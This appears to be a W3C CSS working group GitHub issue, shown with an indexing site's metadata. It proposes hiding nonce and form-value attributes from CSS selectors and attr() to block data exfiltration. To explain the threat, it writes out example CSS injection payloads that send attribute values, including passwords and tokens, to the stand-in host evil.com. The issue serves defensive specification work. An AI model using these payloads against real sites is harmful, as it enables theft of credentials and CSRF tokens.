w3c / w3c/csswg-drafts

[selectors][css-values] Hide "sensitive" attributes from CSS

Open
#5,136 22 comments 9 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

css-values-5 selectors-4
Dominant language
Bikeshed
Stars
4.9k
Forks
816
PR merge metrics
PR metrics pending

Description

For a long time, data-exfiltration attacks have been possible using CSS attribute selectors; with careful use of a streaming stylesheet, an attacker can start with input[value^="a"]{background-image:url(https://evil.com/pw-stealer?prefix=a);} (etc for b-z), then based on that result, stream in another set like [value^="ha"], [value^="hb"], etc, and eventually steal the entire attribute value.

This can be used to get script nonces from a page, csrf tokens from a form, and in some DOM libraries that live-reflect input values into the value attribute, can steal usernames and passwords as well.

We have plans to introduce a url() variant that can take functions in its value, a concat() function for joining strings together, and now have a more powerful attr() function that can be used anywhere to fetch the value of an attribute. Combined, these would make the exfiltration attacks trivial; slipping in a simple style="background-image: fetch(concat("https://evil.com/pw-stealer?pw=", attr(value string)));" would grab the attribute in one go, no cleverness required beyond the initial CSS injection.

Since "concat a URL fragment with an attr value" is actually one of the main use-cases for the concat() function, it would be unfortunate to lose that entirely. And doing so wouldn't stop the more complex exfiltration outlined at the start of this message anyway.

@mikewest, in https://groups.google.com/a/chromium.org/d/msg/blink-dev/FGCgsKmylhw/A1vw2xREAgAJ, suggests hiding "sensitive" attributes from CSS entirely: nonce, value on a form control, possibly others. They wouldn't be matchable with attribute selectors, or allow their value to be extracted with attr().

This seems completely reasonable to me; there's no reasonable use-case for nonce to be usable in CSS, and the use-cases for extracting value (displaying in an error message displayed in a ::before?) are weak enough that I'm happy to remove that.

Thoughts?

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

No implementation files or tests are named. Start by reviewing the CSS attribute-selector, nonce, value, and attr() behavior described in the issue and its discussion; done means the Working Group reaches a concrete scope and records the resulting specification change.

Written by the indexing model from the issue text.

Assessment

Tech stack
css
Domain
security
Issue type
Feature
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.